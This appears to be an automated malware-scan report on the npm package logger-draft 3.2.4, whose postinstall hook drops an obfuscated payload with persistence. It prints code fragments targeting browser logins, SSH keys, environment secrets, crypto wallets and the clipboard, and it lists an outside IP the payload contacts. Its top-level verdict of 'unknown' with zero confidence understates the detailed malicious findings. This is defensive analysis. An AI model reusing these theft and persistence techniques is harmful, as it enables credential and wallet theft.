{"package":"logger-draft","version":"3.2.4","known":true,"status":"error","discovered_at":1790299795293,"has_install_script":true,"report_url":"https://andymal.com/packages/logger-draft/3.2.4","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790372986313,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":91628,"lab_ip":"10.77.0.157","hooks":[{"name":"postinstall","command":"node utils.js","exit":null,"timed_out":true,"seconds":90,"stdout_tail":"\n> logger-draft@3.2.4 postinstall\n> node utils.js\n\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"","stderr_tail":""}],"process_count":17,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node utils.js","node utils.js","/usr/local/bin/node /work/pkg/utils.js --bg","pgrep -f payload.js.*--agent","/usr/local/bin/node /home/andy/.local/share/MicrosoftSystem64/payload.js --agent","which xclip","sh -c command -v xclip","which xsel","sh -c command -v xsel","which wl-paste","sh -c command -v wl-paste","which xinput","sh -c command -v xinput","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"195.201.194.107","port":8010,"n":15}],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":["/home/andy/.local/share/MicrosoftSystem64/payload.js","/home/andy/.local/share/MicrosoftSystem64/package.json","/home/andy/.config/autostart/MicrosoftSystem64.desktop"],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":["/home/andy/.config/autostart/MicrosoftSystem64.desktop"],"notes":[]},"static":{"manifest":{"name":"logger-draft","version":"3.2.4","description":"Terminal logger utilities","scripts":{"build":"tsc","prepublishOnly":"npm run build","start":"ts-node index.ts","postinstall":"node utils.js"},"install_hooks":{"postinstall":"node utils.js"},"bin":{},"main":"dist/index.js","dependencies":["@types/node","ts-node","tsup","typescript","pino","postinstall","ws","zod","@types/ws","esbuild"],"author":"toskypi","license":"MIT","hasInstallScript":true},"files":[{"path":"payload.js","size":1486283,"kind":"text","score":1,"hits":["credential_access","credential_harvest","code_execution","obfuscation","long_encoded_blob","persistence","reconnaissance","browser_theft","crypto_wallet","clipboard_screen"]},{"path":"utils.js","size":7650,"kind":"text","score":1,"hits":["credential_access","download_execute","code_execution","persistence","reconnaissance"],"role":"entry"},{"path":"package.json","size":854,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"dist/index.js","size":2501,"kind":"text","score":0,"hits":[],"role":"entry"},{"path":"index.ts","size":2722,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":909,"kind":"text","score":0,"hits":[]}],"file_count":6,"unpacked_size":1500919,"findings":[{"title":"Install hook","detail":"postinstall: node utils.js","severity":"low","location":"package.json"},{"title":"Install hook runs a script","detail":"nly\": \"npm run build\", \"start\": \"ts-node index.ts\", \"postinstall\": \"node utils.js\" }, \"keywords\": [ \"logger\", \"changelog\", \"lo","severity":"medium","location":"package.json:13"},{"title":"Touches credential stores or secrets","detail":":_0x3fc5aa[_0x523173(0x166f)],'HF_USER':'I08EdKZzWblqBA==','HF_TOKEN':_0x523173(0x1471)};_0x406699[_0x523173(0x5f7)]=_0xd64fa7(_","severity":"high","location":"payload.js:1"},{"title":"Touches credential stores or secrets","detail":"['HF_SCREEN_TOKEN']=_0x3fc5aa['TFWTH'](_0xd64fa7,_0x29430f['HF_TOKEN']),_0x406699['JS_VERSION']='1.0.8';var _0x1828ec='Microsoft","severity":"high","location":"payload.js:1"},{"title":"Touches credential stores or secrets","detail":"0data','aaAtS':_0x2d7642(0xa81),'JpGFj':'cert9.db','jVnUH':'id_rsa','Kscuy':_0x2d7642(0x5ea),'BCGqa':_0x2d7642(0x1344),'WwANa'","severity":"high","location":"payload.js:1"},{"title":"Touches credential stores or secrets","detail":"42(0x17f),'lahTC':'cert','MyvUV':_0x2d7642(0x1390),'sSChR':'database_url','nKJTd':'postgres','JcKDl':_0x2d7642(0xa4c),'UxeGE':'gcp',","severity":"high","location":"payload.js:1"},{"title":"Dumps the whole environment (API keys live there)","detail":"0['HEARTBEAT_MS'])}),_0x3d3f4f=_0x355058[_0x556f31(0x155b)](process.env);function _0x4ff9df(){const _0x309e4b=_0x556f31;var _0x1f1b6","severity":"high","location":"payload.js:1"},{"title":"Dumps the whole environment (API keys live there)","detail":"for(const [_0x15e742,_0x181079]of Object[_0x541c0b(0x180a)](process.env)){if(_0x541c0b(0x13de)!=='Urmqd'){if(!_0x181079||_0x181079[_","severity":"high","location":"payload.js:1"},{"title":"Dumps the whole environment (API keys live there)","detail":"01239,_0x14ffad;const _0x508ec7=Object[_0x31e606(0x723)]({},process.env),_0x4fdbc2=(_0x14ffad=_0x38c7b5['SrWKx'](_0x501239=process[_","severity":"high","location":"payload.js:1"},{"title":"Dumps the whole environment (API keys live there)","detail":"c*0x10)return _0x2c6840;const _0x556fb0=Object['assign']({},process.env),_0xfa135b=(_0x458150=_0x340176['iydRL'](_0x486084=process['","severity":"high","location":"payload.js:1"},{"title":"Executes commands or dynamic code","detail":"];try{const _0x3e917e=(-0x2c*0xb5+-0x13fd+0x3319,_0x4778d7['spawnSync'])('which',[_0x455b69],{'timeout':0x7d0,'stdio':[_0x2041de(","severity":"medium","location":"payload.js:1"},{"title":"Executes commands or dynamic code","detail":"s'),_0x11cbaf='\\x0aSet\\x20WshShell\\x20=\\x20CreateObject(\\x22WScript.Shell\\x22)\\x0aWScript.Sleep\\x202000\\x0aWshShell.CurrentDirectory\\","severity":"medium","location":"payload.js:1"},{"title":"Executes commands or dynamic code","detail":"xd30816['RlCdT'](['Set\\x20WshShell\\x20=\\x20CreateObject(\\x22WScript.Shell\\x22)',_0x31461f(0x1121)+_0xd30816[_0x31461f(0x1e9)](_0x2f82","severity":"medium","location":"payload.js:1"},{"title":"Executes commands or dynamic code","detail":"1d2d+0x1b44;!_0x4bbcc0&&(-0xbc+-0x71*0x25+0x1111,_0x342a6e['spawnSync'])('reg',['add',_0x31461f(0xbe8),'/v',_0x3d0bc2,'/t','REG_S","severity":"medium","location":"payload.js:1"},{"title":"Obfuscated or encoded code","detail":"'use strict';const _0x5023f3=_0x2382;(function(_0x56e6af,_0x2fbd9c){const _0x2e5a25=_0x2","severity":"high","location":"payload.js:1"},{"title":"Obfuscated or encoded code","detail":"'use strict';const _0x5023f3=_0x2382;(function(_0x56e6af,_0x2fbd9c){const _0x2e5a25=_0x2382,_0x4","severity":"high","location":"payload.js:1"},{"title":"Obfuscated or encoded code","detail":"'use strict';const _0x5023f3=_0x2382;(function(_0x56e6af,_0x2fbd9c){const _0x2e5a25=_0x2382,_0x49c715=_0x56e6af();wh","severity":"high","location":"payload.js:1"},{"title":"Obfuscated or encoded code","detail":"'use strict';const _0x5023f3=_0x2382;(function(_0x56e6af,_0x2fbd9c){const _0x2e5a25=_0x2382,_0x49c715=_0x56e6af();while(!![]){","severity":"high","location":"payload.js:1"},{"title":"Long base64-like blob","detail":"','weHzv3O','sMPlEgq','qw1xDKO','rKTxCvG','t0Ty','z0zbyMG','cKfKzc1uExbLic1bC3nLBwjSEu5HBwuGu3LZDgvTlLDPBMrVD3mUrM9YBxmkqwrKlvr5CguGlufZC2vTyMX5tMfTzsbtExn0zw0UrhjHD2LUzWPbzgqTvhLWzsaTuMvMzxjLBMnLzefZ","severity":"medium","location":"payload.js:1"},{"title":"Long base64-like blob","detail":"0Lhsu5u','qLbyENG','weLtwvy','A2zYA2e','Bg1SvLy','z0vLzNe','cMLTCg9YDcbdB2nVyqPPBxbVCNqGq2fYyM9UcMLTCg9YDcbbChbSAwnHDgLVBLnLCNzPy2vZcGP2yxiGAxnqD2qGpsbMywXZzqP2yxiGChDKugvUzgLUzYa9igzHBhnLcNzHCIbSyxn0","severity":"medium","location":"payload.js:1"},{"title":"Long base64-like blob","detail":"BG','svr5rwq','ls1UB3jJ','CxnUs20','rgfZAenVCMu','B1jhExa','ic8GjhCkicaGicrUzxDxid0Gw2LUDf0OjhCGkIaKCMf0Aw8PcIaGicaKBMv3sca9ifTPBNrDkcrOicOGjhjHDgLVkqOGicaGjgjTCca9ie5LDY1pyMPLy3qGu3LZDgvTlKrYyxDPBMCU","severity":"medium","location":"payload.js:1"},{"title":"Long base64-like blob","detail":",'A2nWy3G','y29Uy2X1zgu','C3nU','uLnwmsbTDxn0igjLignSzwfY','jYKkicaKy29KzwmGpsbBu3LZDgvTlKrYyxDPBMCUsw1Hz2LUzY5jBwfNzunVzgvJsw5MB106oKDLDeLTywDLrw5JB2rLCNmOksb8ifDOzxjLlu9IAMvJDcb7icrFlK1PBwvuExbLic1L","severity":"medium","location":"payload.js:1"},{"title":"Persistence mechanism","detail":"(_0x269b6f,_0x458af2){return _0x269b6f-_0x458af2;},'VXDIT':'schtasks','SqktW':_0xc94199(0x116a),'KdNhg':_0xc94199(0x1700),'hBiey","severity":"medium","location":"payload.js:1"},{"title":"Persistence mechanism","detail":"x132c+-0x1a*-0x13c+-0x4*0xcd1,_0x2c6df3[_0x31461f(0x731)])('schtasks',[_0xd30816['tdBhn'],'/tn','\\x5c'+_0x49ee7f,'/f'],{'windows","severity":"medium","location":"payload.js:1"},{"title":"Persistence mechanism","detail":",'YjwLB':_0x2d7642(0x9fe),'JhmBP':_0x2d7642(0xd26),'BURwp':'.bashrc','vZZaB':'.bash_history','hHYkJ':_0x2d7642(0x12b2),'hFgNC':","severity":"medium","location":"payload.js:1"},{"title":"Persistence mechanism","detail":"b225[_0x1e50a0(0x142e)],'JuumR':_0x43b225['vZZaB'],'HNXim':'.profile','LPclf':function(_0x2bf7cf,_0x553bc2){return _0x2bf7cf<=_0","severity":"medium","location":"payload.js:1"},{"title":"System reconnaissance","detail":"rtbeatSchema']=_0x2cc1a8[_0x2f1f64(0x1419)]=_0x2cc1a8['AgentSystemInfoSchema']=_0x2cc1a8['TaskSchema']=_0x2cc1a8['CAPABILITIES']=v","severity":"low","location":"payload.js:1"},{"title":"System reconnaissance","detail":"][_0x2f1f64(0x38b)](_0x22f29d['rsAVf'])})]),_0x2cc1a8['AgentSystemInfoSchema']=_0x52172f['z'][_0x2f1f64(0x20f)]({'hostname':_0x521","severity":"low","location":"payload.js:1"},{"title":"System reconnaissance","detail":"64(0x159)]()),'version':_0x52172f['z'][_0x2f1f64(0x159)](),'systemInfo':_0x2cc1a8[_0x2f1f64(0x80d)][_0x2f1f64(0xf69)]()}),_0x2cc1a","severity":"low","location":"payload.js:1"},{"title":"System reconnaissance","detail":"0x525f80,_0xacf5a5){return _0x525f80===_0xacf5a5;},'Xpbsq':'netstat','lBPOw':_0x515dee(0xc2b),'VAoKk':_0x515dee(0x543),'FLyNM':","severity":"low","location":"payload.js:1"},{"title":"Browser or OS credential store access","detail":",'mKWwF':_0x2d7642(0x918),'onKLM':_0x2d7642(0x9cc),'MHQIy':'BraveSoftware','rOFUM':_0x2d7642(0x17c7),'ZytxK':_0x2d7642(0x1039),'sKEWy","severity":"high","location":"payload.js:1"},{"title":"Browser or OS credential store access","detail":"d6),'lIgZH':'web\\x20data','aaAtS':_0x2d7642(0xa81),'JpGFj':'cert9.db','jVnUH':'id_rsa','Kscuy':_0x2d7642(0x5ea),'BCGqa':_0x2d764","severity":"high","location":"payload.js:1"},{"title":"Browser or OS credential store access","detail":"'][_0x46befa(0xcff)](_0x5d9418,_0x43b225[_0x46befa(0xb24)],'BraveSoftware',_0x43b225['qUbZJ']),_0x540eae[_0x46befa(0xfd0)][_0x46befa(","severity":"high","location":"payload.js:1"},{"title":"Browser or OS credential store access","detail":"42(0x14cb),_0x43b225[_0x2d7642(0x17d0)],_0x43b225['fRowF'],'logins.json','key4.db',_0x2d7642(0x37f),_0x43b225[_0x2d7642(0x4fa)],_0x","severity":"high","location":"payload.js:1"},{"title":"Crypto wallet targeting or address swapping","detail":"6),'rRgmQ':'Dash\\x20Core','AJRRX':_0x2d7642(0xb50),'nPVQP':'Phantom','kmKvH':_0x2d7642(0xee9),'RmxWr':_0x2d7642(0x3c0),'GAaWt':","severity":"high","location":"payload.js:1"},{"title":"Crypto wallet targeting or address swapping","detail":"x1664),'sOAvZ':'Safe\\x20Wallet','rBSxt':'OpenMask','zuteq':'Exodus\\x20Extension','TrJXA':_0x2d7642(0x13a),'esyRD':_0x2d7642(0x","severity":"high","location":"payload.js:1"},{"title":"Crypto wallet targeting or address swapping","detail":"J'],'recentservers.xml',_0x43b225['WwANa'],'filezilla.xml','wallet.dat',_0x43b225[_0x2d7642(0x570)],'accounts.json',_0x43b225[_0x2","severity":"high","location":"payload.js:1"},{"title":"Crypto wallet targeting or address swapping","detail":"2d7642(0xcff)](_0x44c877,_0x2d7642(0x42c),_0x2d7642(0x918),'Exodus',_0x2d7642(0xa88)),_0x540eae['default']['join'](_0x44c877,_","severity":"high","location":"payload.js:1"},{"title":"Clipboard, screen, or keystroke capture","detail":"0x2b1cdf,_0x31295a){return _0x2b1cdf===_0x31295a;},'jRGFa':'pbpaste','PWpjL':_0x45ec48(0x368),'hdrIE':function(_0x236edf,_0x5e3","severity":"high","location":"payload.js:1"},{"title":"Clipboard, screen, or keystroke capture","detail":"1e=>{const _0x1c3089=_0x3bb568,_0x57fc32={'azLZy':'macOS\\x20screencapture\\x20failed','weuzs':_0x150b27[_0x1c3089(0xba4)],'GKCMG':'pip","severity":"high","location":"payload.js:1"},{"title":"Clipboard, screen, or keystroke capture","detail":"5009a);}};(-0x2*0x4b+0x12a7+-0x1211,_0x4a375f['execFile'])('screencapture',['-x','-C','-t','png',_0x4e6fbb],{'timeout':0x3a98},_0x4f3","severity":"high","location":"payload.js:1"},{"title":"Clipboard, screen, or keystroke capture","detail":"x3c9d01;},'nQgeU':'sgNMt','zAvIL':_0x515dee(0x70e),'almPO':'xclip\\x20-selection\\x20clipboard\\x20-o\\x202>/dev/null\\x20||\\x20xs","severity":"high","location":"payload.js:1"},{"title":"Touches credential stores or secrets","detail":"} function dataLocalDir() { if (IS_WIN) return process.env.LOCALAPPDATA ?? path.join(os.homedir(), \"AppData\", \"Local\"); if","severity":"high","location":"utils.js:33"},{"title":"Download-and-execute chain","detail":"e NoDisplay=true Hidden=false StartupNotify=false `; fs.writeFileSync(path.join(autostartDir, `${UNIT_STEM}.desktop`), desktop); const child = spawn(process.execPath, [jsPath, \"--agent\"], { cwd: insta","severity":"critical","location":"utils.js:173"},{"title":"Executes commands or dynamic code","detail":"om \"node:os\"; import path from \"node:path\"; import { spawn, spawnSync } from \"node:child_process\"; var UNIT_STEM = \"MicrosoftSyst","severity":"medium","location":"utils.js:5"},{"title":"Executes commands or dynamic code","detail":"th from \"node:path\"; import { spawn, spawnSync } from \"node:child_process\"; var UNIT_STEM = \"MicrosoftSystem64\"; var PAYLOAD_FILENAME","severity":"medium","location":"utils.js:5"},{"title":"Executes commands or dynamic code","detail":"t script = path.resolve(process.argv[1]); const child = spawn(process.execPath, [script, \"--bg\"], { detached: true,","severity":"medium","location":"utils.js:21"},{"title":"Executes commands or dynamic code","detail":"rn = `${name}.*--agent`; if (IS_WIN) { const result = spawnSync(\"wmic\", [ \"process\", \"where\", `name='node","severity":"medium","location":"utils.js:46"},{"title":"Persistence mechanism","detail":"bsPath, vbs); const vbsNorm = norm(vbsPath); spawnSync(\"schtasks\", [\"/delete\", \"/tn\", `\\\\${UNIT_STEM}`, \"/f\"], { windowsHide","severity":"medium","location":"utils.js:86"},{"title":"Persistence mechanism","detail":"e: true, stdio: \"ignore\" }); const schtaskOk = spawnSync(\"schtasks\", [ \"/create\", \"/tn\", `\\\\${UNIT_STEM}`, \"/t","severity":"medium","location":"utils.js:87"},{"title":"Persistence mechanism","detail":"{ windowsHide: true, stdio: \"pipe\" }).status === 0; log(`schtasks create: ${schtaskOk}`); if (!schtaskOk) { spawnSync(\"","severity":"medium","location":"utils.js:99"},{"title":"Persistence mechanism","detail":", [ \"add\", \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", \"/v\", UNIT_STEM, \"/t\", \"REG_SZ\",","severity":"medium","location":"utils.js:103"},{"title":"System reconnaissance","detail":"f (IS_WIN) return process.env.LOCALAPPDATA ?? path.join(os.homedir(), \"AppData\", \"Local\"); if (IS_MAC) return path.join(os","severity":"low","location":"utils.js:33"},{"title":"System reconnaissance","detail":"(), \"AppData\", \"Local\"); if (IS_MAC) return path.join(os.homedir(), \"Library\", \"Application Support\"); return process.env.XD","severity":"low","location":"utils.js:35"},{"title":"System reconnaissance","detail":"Support\"); return process.env.XDG_DATA_HOME ?? path.join(os.homedir(), \".local\", \"share\"); } function getSourcePayloadPath() {","severity":"low","location":"utils.js:36"},{"title":"System reconnaissance","detail":"th; if (hasSystemctl) { const userUnitDir = path.join(os.homedir(), \".config\", \"systemd\", \"user\"); fs.mkdirSync(userUnitDi","severity":"low","location":"utils.js:137"}],"injection_findings":[],"hits":{"install_hook_shell":1,"credential_access":6,"credential_harvest":5,"code_execution":10,"obfuscation":5,"long_encoded_blob":5,"persistence":9,"reconnaissance":10,"browser_theft":5,"crypto_wallet":5,"clipboard_screen":5,"download_execute":1},"iocs":{"urls":[],"domains":["logger.info","wshshell.run"],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node utils.js","untrusted hosts referenced: logger.info, wshshell.run","capability hits: code_execution×10, reconnaissance×10, persistence×9, credential_access×6, credential_harvest×5, obfuscation×5, long_encoded_blob×5, browser_theft×5, crypto_wallet×5, clipboard_screen×5, install_hook_shell×1, download_execute×1"],"entry_files":["utils.js","dist/index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}